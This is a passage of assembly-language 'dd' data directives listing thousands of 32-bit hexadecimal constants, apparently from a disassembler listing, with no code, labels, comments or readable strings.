		dd 0C7070E35h, 74BA7ECCh, 63958CB0h, 0FEF503FDh, 48313AB7h
		dd 8E0CBC00h, 0A6CFC2C3h, 0FF400086h, 4CD9B814h, 0E0059B1h
		dd 0FED2CB7Bh, 0B8F2C34Eh, 0CA8F2E49h, 785718E0h, 0F80098A0h
		dd 1661B932h, 1D78050Fh, 408D2414h, 0ECC52183h,	98B070B8h
		dd 0EA9A4A1Dh, 0DCE24500h, 3A24D19h, 84522CC0h,	0A5A8741Fh
		dd 0A10002F7h, 32A78629h, 0D74DF6h, 0A4BD65D4h,	0F3C5C9A2h
		dd 6389CF00h, 66DA0F9Eh, 0AB4F24DBh, 8EE19054h,	77160D2h
		dd 90BA8Ch, 0A43ABCC7h,	3FDEE4B0h, 450B4600h, 59FB4EA9h
		dd 6EB50711h, 207ACA54h, 14EC44E3h, 0E4A78D03h,	0C828536Fh
		dd 7024CBCh, 8E69CB47h,	0E6860097h, 3800C5F0h, 4F4A5227h
		dd 0FA05CADh, 947B90D9h, 5DE48EBEh, 0F31699C0h,	2401DFBFh
		dd 0A5FF0273h, 0C03FE8ACh, 7A17FEF2h, 0A8489228h, 0EE7700Fh
		dd 0ECF0E020h, 12B1A991h, 0F5BADFh, 94FFF302h, 3D7EB888h
		dd 5F1AA40Fh, 0EC0B00DDh, 0FC1D89D1h, 0FE8D30DEh, 45CA2258h
		dd 8B99D400h, 2092ACCEh, 0FD0FE77h, 22F6C967h, 6CB1DC21h
		dd 89E1E07Bh, 3FC8B612h, 0F4A92420h, 80AB486Eh,	0F5348E00h
		dd 24CDB0B9h, 9B7BC400h, 2A5C104h, 6E2F0122h, 3ECE2C9Fh
		dd 905C208Eh, 0C53AE91Ch, 0B9C71780h, 0FCBD4Eh,	99F9DD15h
		dd 0AD5F2B28h, 782490ECh, 0AE306054h, 260EA8E8h, 81287307h
		dd 0D7FC9036h, 86B9CBEAh, 2AB4244Eh, 340BF824h,	67230E00h
		dd 24266360h, 0CB4Dh, 7A059FD1h, 0D00056B2h, 0C5CD4411h
		dd 59A05Dh, 2C4CF2D2h, 0AB77F738h, 41405658h, 4044C4FCh
		dd 552A600h, 0BD22D4DEh, 0FEF07486h, 5E9A0063h,	1844C3C5h
		dd 0DA002CF4h, 5B4EBAE7h, 0F924834h, 0CC018815h, 8740C525h
		dd 0D928E0B7h, 1D01CFDAh, 51FFBDA4h, 0FBE8D7D3h, 471700BBh
		dd 0EE8C9577h, 0A1FA328Ah, 0FD04F97Fh, 4A71BEAh, 18EB6880h
		dd 7A0B80EDh, 6A81071Dh, 0BC0152C7h, 0A1519B57h, 0A0408297h
		dd 34F34Dh, 54EF53A3h, 300F3303h, 264DC3Ch, 579E152h, 0F916C026h
		dd 0DF50796h, 905B24C1h, 278285E2h, 78A3B638h, 7FF8D700h
		dd 0F0889B06h, 0AB3C0090h, 0A9039893h, 0EC007E2Eh, 0A06EDF50h
		dd 39DAED6Ah, 0A10ACCCAh, 81D05609h, 72FA7182h,	8EC840FDh
		dd 4F708108h, 0A000BC98h, 3F731C06h, 7834110Dh,	8A490077h
		dd 0B19FC70Fh, 0CB008219h, 0EF32CF7Fh, 98F4C4h,	0B55D4007h
		dd 702BE334h, 0FDDE6400h, 0BFEC19Ch, 40F90086h,	1B07B046h
		dd 0E71696CAh, 1500127Ch, 3F4748F1h, 0AA9900BDh, 14C139D7h
		dd 0E5023852h, 9BC69A1Dh, 79514031h, 894204CCh,	806781FCh
		dd 2EC2B48h, 0B2090F72h, 0FA759A4h, 1C84F2Dh, 0C6A1472Ah
		dd 58F1DD8h, 0EE045808h, 502AC7AAh, 0D718BA29h,	0DF9D5500h
		dd 66BBC05h, 0B50A01CCh, 2E1EB1A4h, 3BD83329h, 0C7348133h
		dd 7520241Bh, 0A0DF0h, 91C9C19Dh, 0CE112B1Ch, 9F581700h
		dd 5D2F9445h, 0CAE6B6h,	3D993C31h, 8C83A385h, 0FF7738A0h
		dd 0B5EDD800h, 6B48BB8Fh, 3B907DB7h, 70007568h,	0D2BFD1C9h
		dd 0CC74D049h, 58247E00h, 0B8FA7319h, 0C4EB003Ah, 0CDFB1840h
		dd 0F100A651h, 0DDD7CA0Ch, 2C7F4C1Fh, 16B03EB7h, 0F204414Fh
		dd 2003F0F8h, 3B7BC6AAh, 0D6DA0200h, 48A1A331h,	0E5011362h
		dd 9F405DD7h, 0EFB2C2BDh, 0F448EA8Bh, 0E100E307h, 1FC2A359h
		dd 9FAD9E2h, 7A1328A8h,	0A10E10A1h, 0C0C0D2ADh,	980E462Bh
		dd 8E458019h, 1D069633h, 121F6BCh, 47A1F27h, 0F8E1375Dh
		dd 0C5102EF5h, 0FA0EF473h, 935E36BDh, 0DCFC59h,	2590F176h
		dd 96F7D8h, 0A68AA8B3h,	0FB2F6AFAh, 0D1ADAA00h,	7576519Bh
		dd 54711C98h, 14800C3h,	9352CA2Bh, 633BE93Fh, 0EC8FA8h
		dd 6D35EE60h, 0F3EB4753h, 9744F0E1h, 0B1FDE300h, 0FFE6E2D0h
		dd 6175075Bh, 0C924B9CEh, 7A20488Fh, 8D55A144h,	1CE2AD03h
		dd 5DCA4Dh, 602CE618h, 2BAB76B6h, 0F1383E70h, 5F7F98FEh
		dd 0FDA10920h, 2BF28040h, 2CCB016Bh, 0AB759B15h, 7AD5C4C7h
		dd 0E9E15303h, 6AA013Ch, 0ACFEFD18h, 0EC2C408Fh, 1607F739h
		dd 8F094CDh, 39F7074h, 0E78A99DEh, 2A09C5Eh, 40726DCEh
		dd 0DD67ED03h, 30E025BAh, 0CE091B18h, 0E083C2B8h, 0B4EC155h
		dd 0B0E83CBBh, 0E4A04580h, 0ED0FFA95h, 0E02E2A4Dh, 0CFFF99F3h
		dd 41966031h, 0B1304752h, 0ED7F100Ch, 68258D2h,	6EFC709Ah
		dd 64606928h, 0EBA06598h, 2418193Eh, 80BD6050h,	0A1E0AA71h
		dd 395247h, 26CBBA32h, 4B200CD2h, 9ECD1500h, 89028377h
		dd 13860075h, 49DD23B7h, 41008FA6h, 7EF32008h, 1C52A16h
		dd 77395663h, 407D1DC4h, 0E28C7FDEh, 0D251C175h, 0C6041E7Ch
		dd 14513931h, 8C6E32B8h, 0CF5B591Dh, 36C0833Eh,	31E82B1Bh
		dd 6E5224Ch, 71548F47h,	87F4229h, 10D4194Eh, 5B63848Eh
		dd 900C615Dh, 888A516Fh, 4100341Dh, 1F1895C0h, 0DA577Fh
		dd 1CA25211h, 0E0AD59E9h, 0EA53B000h, 0DF1DCF9h, 24BA7AD9h
		dd 1CBF399Ah, 773E7036h, 0A2075517h, 20033CF3h,	0CBC544E0h
		dd 62FB0408h, 80BA60FFh, 199FB37Dh, 0A7E8C202h,	804F83D7h
		dd 0F5DFCEC8h, 4D99006Bh, 0FA37716Fh, 0A2008091h, 0ACA62EE3h
		dd 0F182DFh, 0F0FC2517h, 0EC9D3EB9h, 33BB418h, 1FCE7E20h
		dd 0C0D126C1h
		dd 658CF82Bh, 4201E210h, 0B8D6F352h, 0E8F0BC24h, 0BE6400B3h
		dd 0DB9F84CBh, 1902B06Ch, 24B17E52h, 86CC80D7h,	3380826h
		dd 57CBC299h, 0EBC88F73h, 7601B2D4h, 0CB15C17h,	2CC98C3h
		dd 0E022501Eh, 94F10121h, 0C469C69Eh, 0E49FD05Fh, 8B037C00h
		dd 5350E295h, 0C5DE05CEh, 1AC385h, 5B93686h, 1FEE9779h
		dd 3321B100h, 5296E695h, 9FA100DCh, 94C82D2Fh, 3D0EBCE4h
		dd 0B081EEh, 0F46C96F8h, 813F480Ch, 0A2941B00h,	3533AD6Dh
		dd 0C349B800h, 9D548469h, 4E4B2ED2h, 38342872h,	0D05CD376h
		dd 127411Fh, 0EFA21EFh,	5031E07Bh, 23000571h, 1F0C624Bh
		dd 72D65F9h, 7212EC03h,	2E0E8084h, 0EF00FDC8h, 0FB8A5D16h
		dd 0A2CEAD4h, 93FC9CBCh, 0C35C07F8h, 0ACA18FBDh, 0FC6C26E6h
		dd 560B8D3Fh, 0AE952A3h, 8407FE2Bh, 40BEFD7Dh, 5133E16Bh
		dd 1BDE00C5h, 0AC215370h, 0E31437E4h, 4E0B883h,	76AAF27Bh
		dd 5E35ECC0h, 0B1280264h, 57A7F807h, 6DED7760h,	45004EEEh
		dd 0E6A2DBFDh, 428CCCh,	0A87A1640h, 47C178E5h, 1DF24E0Fh
		dd 0A4E017C4h, 0B8581D2Bh, 0AD790074h, 2FC7114Ah, 6267CF13h
		dd 56360F00h, 0A9FB6Ch,	0F71937FAh, 13B9241Dh, 0CB2EC503h
		dd 9759D5F4h, 5C7880F9h, 0E752A42h, 1AEC0CE4h, 73997740h
		dd 0D60EEA9Eh, 0A9A3F535h, 0BB00809Bh, 0BFDDAFCh, 0DE56A085h
		dd 0FEDB9901h, 0A864E0BEh, 1400F6B8h, 50F7D6A4h, 783CA190h
		dd 5BCA03D3h, 35B372EEh, 0E85986E1h, 9500FD96h,	8BCB8A92h
		dd 0C2568Eh, 64E7BE04h,	4E1C1724h, 83D14700h, 7E46A338h
		dd 3DE6B5h, 142DC5DDh, 9F67ADE9h, 7D5D6E03h, 0C81D7C3Fh
		dd 0E5B6EEh, 0FCC7AFDDh, 60BE898Fh, 4CEB8700h, 56E3D236h
		dd 0BFB600CAh, 92A5629Eh, 0DB600E54h, 0F7BEC218h, 0EA32FEC4h
		dd 0D29548CCh, 0C9929609h, 18CE0055h, 0EC5C44F6h, 0CFFE3F01h
		dd 3BEBB500h, 848D36D3h, 88733300h, 58213DB2h, 0CB60027h
		dd 44130189h, 15009174h, 0F36A35D0h, 19F90C1h, 0FBCCB5B8h
		dd 0FFE73DC5h, 38255080h, 5ECBC300h, 0DC03BBE9h, 80A0084h
		dd 86A05685h, 1E486BFAh, 479E00FCh, 1975A7F0h, 1AF10392h
		dd 3B448D7Ah, 14EF18C0h, 0B5B66D0Ah, 0AC00A002h, 66B20161h
		dd 0A8820377h, 8BFE4AB0h, 591778B8h, 0A13FAE00h, 0B524083Eh
		dd 1381001Ch, 4F72DBC1h, 2D3D18A9h, 0AE9B05B8h,	7040B43Ah
		dd 0DF172E9Ch, 3D890C2h, 711D2A32h, 8CE89A6Dh, 110B83C6h
		dd 0C75BF5h, 313F4760h,	41BA0377h, 0DC3CF784h, 0E6A0FB90h
		dd 291BF402h, 805127AEh, 3D1388A9h, 0A156005Ch,	3FFDB37Bh
		dd 75F2E396h, 0BD658E00h, 2AF951D4h, 66C600A7h,	96A8FF6h
		dd 70ECDB0h, 805C62FAh,	992ADC5Ah, 190F00F2h, 504D0AE0h
		dd 0ED00963Eh, 3A054CDh, 0FA393A9h, 0D8512163h,	9A89FA83h
		dd 0EAA4D0D0h, 0B1A64600h, 0D27F6FAFh, 35340FF2h, 9CA3B699h
		dd 0D9D0319Eh, 4D3C73B3h, 5D600017h, 0E48A8D6Ch, 17700B9h
		dd 0A6DEB4A1h, 0F000AACEh, 0E79FB028h, 24DA82h,	81100141h
		dd 0E6487BDDh, 2A61EA04h, 0B880956Ah, 0F64AE443h, 1F08074Dh
		dd 0A33F6D06h, 0CDC0A6E7h, 6A007F16h, 68DA0C5Ch, 4FC858h
		dd 12F51F74h, 78DD559Ch, 0FE704D00h, 162AED87h,	800A72ADh
		dd 0BA0B4F66h, 330CE3Fh, 880EA764h, 96235Dh, 5EA2CC43h
		dd 57E8415Fh, 0F6073876h, 97189253h, 0BE7E24C0h, 13B8A010h
		dd 0CC9307F3h, 0A1D12Ah, 1102DF78h, 0B450500h, 0CF73AD4Eh
		dd 79843BC7h, 1A544B80h, 29706F41h, 0BC0B9900h,	69AD012Ch
		dd 23EE00E3h, 0D10520A1h, 20C0789h, 102C28D0h, 6EB08Ch
		dd 0EEA141DCh, 0CAC095C9h, 463E0400h, 9B518810h, 0BCFE54h
		dd 66B6224Bh, 11442A4Eh, 91963Ah, 10B0327h, 0B09CF47h
		dd 0B7292839h, 2180538Eh, 84BC8595h, 2DAA0500h,	10FE4D4Ah
		dd 0DDA901D9h, 2C97F3D2h, 6A0BFC69h, 0B8F578B7h, 74330004h
		dd 991C3653h, 180755BAh, 11375C4Fh, 0AFE79880h,	75617F3Ah
		dd 0FECC008Ah, 0A536951Fh, 0A379035Dh, 273D4801h, 9C4C57AEh
		dd 503AF960h, 196D0A8h,	0BE780A06h, 0C83B321Eh,	5100C2A4h
		dd 31F02BB5h, 502583h, 9956A5A1h, 48B339C4h, 9FAE1400h
		dd 4D7D90BAh, 0ECCAEC35h, 668F00F5h, 0F94A6AEEh, 7F3FC182h
		dd 891B1C4Ch, 0F8B906C3h, 0DC700053h, 1E8FDB69h, 0E613A4F0h
		dd 7E0303BFh, 809ECA66h, 3F44BB3h, 0C504481h, 43B856A6h
		dd 300003DCh, 40272853h, 11E885h, 6792A844h, 0E960A6A4h
		dd 1D0016EEh, 95454073h, 49710h, 79230946h, 0CEBE0C89h
		dd 3000DCE2h, 9E4F1CE4h, 190D4h, 0A13A612Fh, 0E1BC79B0h
		dd 477E2E00h, 0EABFD1Ah, 513C026Ah, 0C501D484h,	0A31526C0h
		dd 667AC300h, 0A7F53109h, 2D4E0A69h, 9AAF71h, 0DC492A5Eh
		dd 82007A33h, 0E0054DCFh, 3BE992F0h, 5900D2F8h,	0B846232Dh
		dd 0A5000418h, 2F24305Fh, 72E13D0h, 0D136B5B3h,	6181FFB7h
		dd 204E0748h, 3F119104h, 7900ED7Eh, 0B1A73892h,	0CE3BDB67h
		dd 0D4E380DDh, 0A3B8877Eh, 61C10035h, 0B28FB0BEh, 0F514DED3h
		dd 2C0D8EDh, 0C1ECCFEEh, 1A8AE029h, 7BC90274h, 0D5F8EBAFh
		dd 37DFBFC0h, 3366F301h, 0A776ADF6h, 82E42BC5h,	9752002Dh
		dd 0B9FF173Ch, 0B3ECE311h, 79628016h, 0D9C1D800h, 25BB8Ah
		dd 0CDE601F4h, 2D75A560h, 0B0F5A43Bh, 0E46112Bh, 742000EBh
		dd 676F027Eh, 0B1001887h, 0D4F5312h, 6DC415h, 1F2CFE4Ch
		dd 3FC8A5Ch, 80044600h,	0DBB5D693h, 260239DDh, 90E22280h
		dd 0C7CEA1EAh, 68C38B00h, 0F0AB608Ch, 0AB40FD0Ah, 1EA49833h
		dd 4FB1EF75h, 5EA06B72h, 0F4AE6530h, 0A92FC509h, 8F6460D9h
		dd 0CFB102E8h, 3580AC1Dh, 39E215E0h, 0BB603C0Fh, 7D558752h
		dd 427B33F0h, 5C1C0219h, 5D3E6F20h, 490824E0h, 3D006CB0h
		dd 121B8C69h, 38DD6C6h,	6A8BA2B2h, 684CDEF1h, 0FB0F009Ch
		dd 8744D950h, 3117EA31h, 589EBDDh, 0AF2985DAh, 0A6C3869Bh
		dd 2B38A0E3h, 5118C099h, 85309F13h, 83CB4207h, 0E6B069D1h
		dd 3ED516h, 0B5728D59h,	0C3765F62h, 3B400600h, 80A2DC86h
		dd 0A65E306Ah, 9B196D40h, 4CC64128h, 71685160h,	83EF94h
		dd 785EF93Dh, 0EDE1DEAEh, 64A70B0Eh, 0FE31A09Dh, 47FC9Ch
		dd 4EC805F7h, 0A05794B8h, 0E4536B00h, 0A98FD4EFh, 2B6E00EEh
		dd 8C5B23E8h, 95F031E1h, 64363D07h, 0F1503C8Dh,	3DB7CFEh
		dd 0DAC42E68h, 85B8CBBDh, 0F704E1ABh, 28B77EF9h, 143F91C0h
		dd 0D7A7007Dh, 3EB8CC74h, 4C00E550h, 3D5BF194h,	0F8DECDFh
		dd 410FC518h, 785130E0h, 0A001CFEh, 4E7AB886h, 0A6A03Bh
		dd 8E98EA0Fh, 0CB9B7921h, 180B1500h, 5D8D279Ch,	0AE3200FDh
		dd 0DC4A22C9h, 70FEF971h, 3BE04103h, 0C04F08EDh, 121C5786h
		dd 0C0063AE9h, 0C53ACDCh, 9A0E6F13h, 0A8CF6E00h, 7A34694h
		dd 57C0BE43h, 50B11060h, 820055FDh, 0A1B9F7C9h,	3DEBB16h
		dd 628377A7h, 51001035h, 181FD357h, 9BFCE8h, 44F79848h
		dd 8D9AE76Ah, 14B6AC02h, 70E454F3h, 57BA3EA4h, 0F17CA887h
		dd 0CCA4C04Eh, 0AB244187h, 0E0991D0h, 7ED8C0FAh, 9121000Ah
		dd 1FEF8E18h, 3C077F94h, 985C9010h, 0D2B45047h,	3D87E700h
		dd 9706CD41h, 8332302Eh, 4230C0F6h, 6E9DE2C7h, 8718D500h
		dd 26FEAF0h, 40794E10h,	953E83ECh, 9F7C1BADh, 49CA4C00h
		dd 46A1B63Dh, 6EFA18E0h, 0AB02F8ECh, 11593F19h,	7D202939h
		dd 0D4D900F4h, 0B5B7F231h
		dd 0E12C912Ch, 0B400A093h, 69596A4Bh, 5530C742h, 0EB4F5012h
		dd 3600EC91h, 6EF22A60h, 3A0A791Bh, 9CA4E0D9h, 0C79306B4h
		dd 0F15610C4h, 4B6BE004h, 7810C082h, 1F5DACDCh,	0C0367A00h
		dd 0C3488CDAh, 2A230089h, 0CF7D416Bh, 4B327FC4h, 20D229E2h
		dd 0C6EBA386h, 0A519D03h, 81B2E8D0h, 0FCE0CAF7h, 901600DEh
		dd 0D372C0C5h, 0F60006E1h, 0EC10A67Dh, 618B42h,	8ABF735Eh
		dd 28087FE8h, 0F1161400h, 0A81B4C75h, 0F180048h, 21413B47h
		dd 8C00EACEh, 0B5E89007h, 529C5Ch, 51D7C6A5h, 0ECBA03B8h
		dd 0F821E500h, 0A48355D9h, 5449001Eh, 2E89285Dh, 0FA0086DFh
		dd 33C7084Dh, 0FA3DAE0h, 1E8EDDEh, 0B7C01B61h, 9047E5h
		dd 34BFF75Bh, 0D71C6600h, 11D8D6FDh, 3346004Eh,	0E5F608CEh
		dd 0A202CFD0h, 0E99CAC82h, 5C83E036h, 4113007Eh, 1F74263Dh
		dd 8C036C49h, 1B8EABFFh, 0B07807FDh, 0F0C547EAh, 97BA9DB8h
		dd 4453700h, 0E235FB3Fh, 23B3006Bh, 0E8DE8543h,	0A200D55Bh
		dd 9F47AE86h, 256A76h, 0E77D8364h, 8E82A94Eh, 0E86E000h
		dd 0D2BE8870h, 8D1002Eh, 6EB9F007h, 0C575BF97h,	0C18C9900h
		dd 76BE59A8h, 0B5532E5Fh, 62D9003Fh, 837F503Ah,	0FC9EA72Ch
		dd 8868003Dh, 7D583F1Fh, 3E340096h, 95DB3191h, 87488351h
		dd 7CCC261Ch, 17DD6800h, 0FCDF21Ch, 0AE75CE08h,	0DFE81A00h
		dd 763AD70Bh, 34870056h, 0C792FFD9h, 9FFC01E0h,	0B42C1E51h
		dd 78EDEC58h, 0DE9E8F00h, 6E7D39C0h, 4C82001Ch,	7E0A5AC5h
		dd 55008BF7h, 0DB02AFCFh, 71D559h, 9E12C783h, 0F9DD7B13h
		dd 7C7DFC00h, 8E2E1193h, 25E601E1h, 0BB14A8C0h,	7AC5308Ah
		dd 0E50A3A00h, 41BEAC57h, 90020047h, 0E1EDF631h, 0B9004D39h
		dd 0D7F79B1Dh, 94AB5Ch,	470A0776h, 4B1105C6h, 242A2C3Fh
		dd 0C40052FFh, 0C970384Ch, 1292004Ah, 4D8B3A33h, 8E002FF6h
		dd 866C5098h, 0D6F776h,	58A52688h, 7D40127Ah, 0CF1F7F00h
		dd 0F96BAB9Eh, 0F8681E7Bh, 0D75F8A2Eh, 9CEE0780h, 74C551CAh
		dd 0E3803017h, 542A2400h, 3728580Eh, 5A655C0Fh,	2670C700h
		dd 17F3ACF2h, 0DD847750h, 0C546D106h, 17F0B944h, 1F4E29A7h
		dd 1B6642CCh, 2068DB17h, 0AC01359Fh, 0FF0F2224h, 0D82060AFh
		dd 5E200732h, 1025A693h, 4D0C3957h, 4A26AAFEh, 1F804AB2h
		dd 1734813Dh, 830F004Fh, 22957DD0h, 461DDBFBh, 4440E580h
		dd 675E895Bh, 0A7350F93h, 2FCEC95Ah, 0B20A1A20h, 100DA59h
		dd 2EF43C98h, 481D4325h, 5048EFB5h, 804D7B14h, 0A0C11000h
		dd 9FBAD9B6h, 1AFCF300h, 0CBEB3A71h, 0E5D43C98h, 279E9A02h
		dd 0E44078A0h, 0E1C09480h, 0EADD1840h, 0B775001Ch, 67297B2Ah
		dd 0BA00F08Fh, 2CDAE5F8h, 3C565C05h, 6B0052C9h,	757B1E78h
		dd 0A100077Eh, 196EF1A5h, 0F64AE7h, 0A7595C89h,	0BA02AA44h
		dd 0BCFE8400h, 75EA570Dh, 0A08000FDh, 157EFCCDh, 0AF01EBF6h
		dd 8681BE92h, 0E0E8D2C1h, 0D44A00F0h, 5ADD25FCh, 0A9C0556Bh
		dd 9967214Ch, 43054C19h, 49743E03h, 0CEC05D96h,	470738C1h
		dd 4BBA9F52h, 0DA6B62E0h, 0A540E73h, 20A0AA80h,	3492CE2h
		dd 4C81B000h, 511575E4h, 0E41767Dh, 3F610A9Ch, 5FC0D44Eh
		dd 543D0242h, 0B03ECC00h, 0E1844DFEh, 61D6001Fh, 0D9BF46BCh
		dd 94009566h, 21DDD558h, 390E7822h, 4E802E0Ah, 7CF1C4B0h
		dd 0D33E0523h, 4A9E8037h, 0A2BC5BB1h, 589B00BAh, 0C3A42A3h
		dd 0EB00CE2Bh, 62300626h, 7434C7Bh, 0ACE0288Ah,	5FA1604Ah
		dd 0F50059B4h, 0D9490664h, 0F56B35Dh, 0F97E95B9h, 0BE7B35A0h
		dd 8A05DBCAh, 32D392DDh, 608C0FC2h, 0BFCBA2h, 5D80742Ch
		dd 0E4A7FAE9h, 0B81C0A01h, 0A5CD35F9h, 2482A760h, 1E7E81FDh
		dd 0E7840077h, 5F56AD0h, 0A2FED107h, 7496E26h, 1E0EBA74h
		dd 0AD27E000h, 72B3C49h, 0B29D65F3h, 285510B8h,	90006AF2h
		dd 3C85AEDFh, 17CD25h, 91BF7B33h, 1CCC2C38h, 0D18F3600h
		dd 0CF541E8Bh, 68170161h, 966DD577h, 0AC608318h, 0A3DAC68Eh
		dd 0E859C00Fh, 654338ECh, 307F1974h, 815F8846h,	2667110h
		dd 18407A9Ah, 31B1A6Dh,	0A45F4AA9h, 0BFA1C2A5h,	0A73960F5h
		dd 1AAD5E00h, 9E81B0Ch,	6D5400ECh, 0CC5DC815h, 0E30662D2h
		dd 0BA142A95h, 0A30F0088h, 0BC995F3Ah, 0D10CFFCCh, 0B6AA6616h
		dd 0FC7B05DFh, 0B84E1Bh, 0C304605Ch, 0CC0C773Ch, 191A656Dh
		dd 0DAED0098h, 8B1BF457h, 2070ABFCh, 0BB4C2518h, 0EDC369h
		dd 9BB13215h, 7F2814B8h, 0E4D05F00h, 0CE92CB2Dh, 31C400A6h
		dd 0E64FF9EEh, 0B90EED35h, 3DE2C60Dh, 873EFA40h, 0A4D20h
		dd 920B600Eh, 48588B56h, 5320FD71h, 652603D8h, 57326F81h
		dd 20A877E1h, 350CF00Eh, 0B1197F51h, 36D3008Fh,	0CC147396h
		dd 78F2F6FBh, 8D0FA439h, 29E866CEh, 106E0h, 6AA5AAA3h
		dd 1AAB0C58h, 8306074h,	897420E7h, 363E00C0h, 0C830BB52h
		dd 73007AD1h, 0F6F512BCh, 296559EAh, 1E0D7F8h, 1B0A9AE0h
		dd 3822FFh, 95E7A70Ch, 0E1CB462h, 20CC25E3h, 0E5210D8Ch
		dd 60E7BF00h, 0C4F25E15h, 0CE34E0BDh, 0E101FBA1h, 0E0BCB546h
		dd 0D1C90745h, 0DF140055h, 0B8A6E005h, 828880B1h, 1D9D1828h
		dd 4EEFE10Ch, 150A348h,	8FFF3A43h, 0E4D0C3FCh, 0D820C727h
		dd 0E1003B17h, 54A15C19h, 0CA4E7100h, 0A6E12881h, 583B602Fh
		dd 0A9FBE861h, 3921D703h, 0C07855CFh, 0DFF15Bh,	0F47F25D1h
		dd 5E2A35E3h, 7AC33300h, 154F6786h, 0C07D4B3Ch,	43902083h
		dd 460C9800h, 0D2729C47h, 83B00E5Dh, 0F7A04FB4h, 5407977Dh
		dd 231D39h, 15BE8DFBh, 1E3C01A5h, 81F1E7C6h, 0A8908FB0h
		dd 0FB60E279h, 0C8008631h, 320FE1CCh, 3F385FF9h, 81806066h
		dd 1BFEE89Fh, 0B3004784h, 0C942C7Eh, 0D9E1D4h, 0DD073B87h
		dd 83995396h, 24866800h, 5BDEFA71h, 72A737Fh, 7EC78A79h
		dd 0A5AE7120h, 446FFC04h, 4DEF4E0Fh, 898F40A3h,	74BFFCDh
		dd 0BBD19819h, 0E7A64312h, 85002079h, 638DE989h, 7F9CB7Ah
		dd 0DF1C7E4Eh, 0C2907CA8h, 78A53201h, 5064C079h, 0AF82B080h
		dd 779F44A9h, 0F14DFA01h, 98AE6A58h, 0C9837980h, 651BF93Bh
		dd 1A72B507h, 1443B4BDh, 0DA20004Fh, 0F0D53BE8h, 850D9960h
		dd 68D91826h, 46C85C06h, 898C016Eh, 1263FF2Eh, 0BD888D0Ch
		dd 16890383h, 4ACEEAA0h, 9144D7B1h, 0F4846998h,	0CD7D813Bh
		dd 154C52B6h, 3B1FD920h, 0F0CDFC02h, 846B302Eh,	0B2ED9048h
		dd 51135C01h, 0DAC4661h, 78203Ch, 2AB08C54h, 0A7E83FD9h
		dd 0B65F7600h, 0C526AD8Fh, 81E0007Ch, 94F8ACE2h, 0DE003D75h
		dd 0E65FDD43h, 0EC9F6Ah, 5D7F6F8Ch, 75A120Bh, 7E62D600h
		dd 0B8C96CCBh, 0F83600E9h, 0C8B6F97Ch, 0C008088h, 0DBCEE6B3h
		dd 0EAD06B15h, 40B42E58h, 99B005Dh, 559C96BBh, 0AF63A500h
		dd 1ADEC17Eh, 0A26C0640h, 8BA1E02h, 9D7D0700h, 39704404h
		dd 8CB6A0A3h, 2E7600B5h, 0BF5B01F6h, 80187BA2h,	5F30AEDEh
		dd 3224072Dh, 0E3444F1Ch, 0ECE0A856h, 20C33938h, 7E7A57BFh
		dd 920D0008h, 95BAAF2Fh, 41C3ED3Ch, 60555h, 0F5C0A520h
		dd 0DC66B1C9h, 21C55200h, 1E39193Dh, 1CA1D4AEh,	826F140Fh
		dd 0EA8E7FC9h, 0D1D43DABh, 4804313Bh, 0A98C67B4h, 0F2399587h
		dd 1A917F60h, 13B9FBh, 6E21C0E2h, 0D89AC6DDh, 0CB9B5206h
		dd 3048BF1Ch, 0B43145F2h, 4807FA74h, 75FD104Fh,	89180D61h
		dd 0E065EADBh, 0DC22FC02h, 0D31F4A70h, 0F48D808Ch, 0CCD1308Ch
		dd 8282693Ch, 24132808h
		dd 252F20A2h, 0ACF6EEA8h, 0DB206751h, 0D6E02100h, 8D56A6BDh
		dd 0DB2D0092h, 24E35397h, 0C83E6704h, 0EEFF0A37h, 2788B829h
		dd 5D86BB76h, 11CCA056h, 74A1A20Ah, 850010F2h, 512D5836h
		dd 0F75F05B4h, 814A1B5h, 1B810DD4h, 0EFCE0A25h,	4021883h
		dd 997CA592h, 0E2A38200h, 0E7530516h, 0B8CB5214h, 0F0ED1871h
		dd 8141515Fh, 30443E41h, 0DCFA2001h, 0ECC4072h,	2108601Ah
		dd 25B28865h, 0D41EE273h, 555F90F6h, 1CCC54h, 983C7E3Eh
		dd 3A5D0DAFh, 0D451286Ah, 0A06122FFh, 0A3ECD800h, 8149B540h
		dd 0FA37B8D7h, 264C002Fh, 0C2D587B4h, 950AE539h, 0A0C6F804h
		dd 4DD86798h, 0D8C1099Dh, 38131FABh, 0FB923DC1h, 3311480h
		dd 26687000h, 279BE211h, 0FA731DBh, 53AD51F8h, 8313AB0h
		dd 0AED299A3h, 67A7FC00h, 0C3CD1602h, 408A1FB9h, 0C2DF8650h
		dd 12FA021h, 21B2C0AFh,	10886D60h, 920457B6h, 0C8223C94h
		dd 0A712B300h, 93216DBCh, 85089E1Dh, 4F40B718h,	0A18D4CC8h
		dd 0C8A32414h, 2205F984h, 72A821ACh, 3718D0C3h,	0B1D210Fh
		dd 5697815Ah, 2BD405D7h, 5C1A3068h, 0E1AE4F39h,	672A1E09h
		dd 77E0113Bh, 1139B987h, 1BDF41AAh, 0DCABD9ACh,	79005392h
		dd 5A7EE767h, 6025121h,	6B5FF282h, 249198A2h, 21E3398Eh
		dd 0AD1E794Ah, 0B0D3A180h, 34A351F8h, 39102600h, 49D0752Bh
		dd 2400900Eh, 497430A0h, 4AC05D08h, 0EF0A63E0h,	47886CF0h
		dd 0E112A500h, 474E28Fh, 0C9B800BCh, 0ADF17E57h, 49C67C24h
		dd 0F15919h, 0D168955Fh, 0F5B7F4FCh, 0D320C401h, 53A4702Fh
		dd 14C99730h, 0BCA202A9h, 70809637h, 0FAB2A93h,	0E0A268EEh
		dd 2C9008B2h, 49588D6Ah, 0FD851ED0h, 628893C3h,	0EB81223Fh
		dd 0FF63F31Eh, 0E0CEABC0h, 0CC977EDh, 0A41E7D15h, 0F0B5F649h
		dd 0A05EE12h, 0DF8E3D26h, 68B61E8Ch, 3DBCFC4Ch,	4DB3A008h
		dd 0F8BA6789h, 10119C9Bh, 191878B9h, 0EC528155h, 0E96E0B19h
		dd 74488F51h, 29ED601Ah, 21205DF9h, 9E4EC000h, 0CE3F2C1Eh
		dd 0B6623F0Eh, 0D581AD81h, 86148C41h, 0A82A6631h, 0DCBB4C89h
		dd 0BD81AC81h, 5F10840Fh, 789006B0h, 3F9534h, 6258A638h
		dd 0E2278D96h, 0F6586960h, 401F7106h, 0A10707A5h, 0EA27C590h
		dd 0A73025C9h, 2DECC031h, 3C4CD425h, 0BC0B003Eh, 0AA481183h
		dd 0C8999C89h, 77C58286h, 41B90031h, 0A7170401h, 7C04F55Fh
		dd 30AA9AABh, 545CDC88h, 0A5B66C7Fh, 0E38183A8h, 1ED83111h
		dd 451930Dh, 0AC80444h,	9F0C8924h, 8655C45Fh, 1FE482F0h
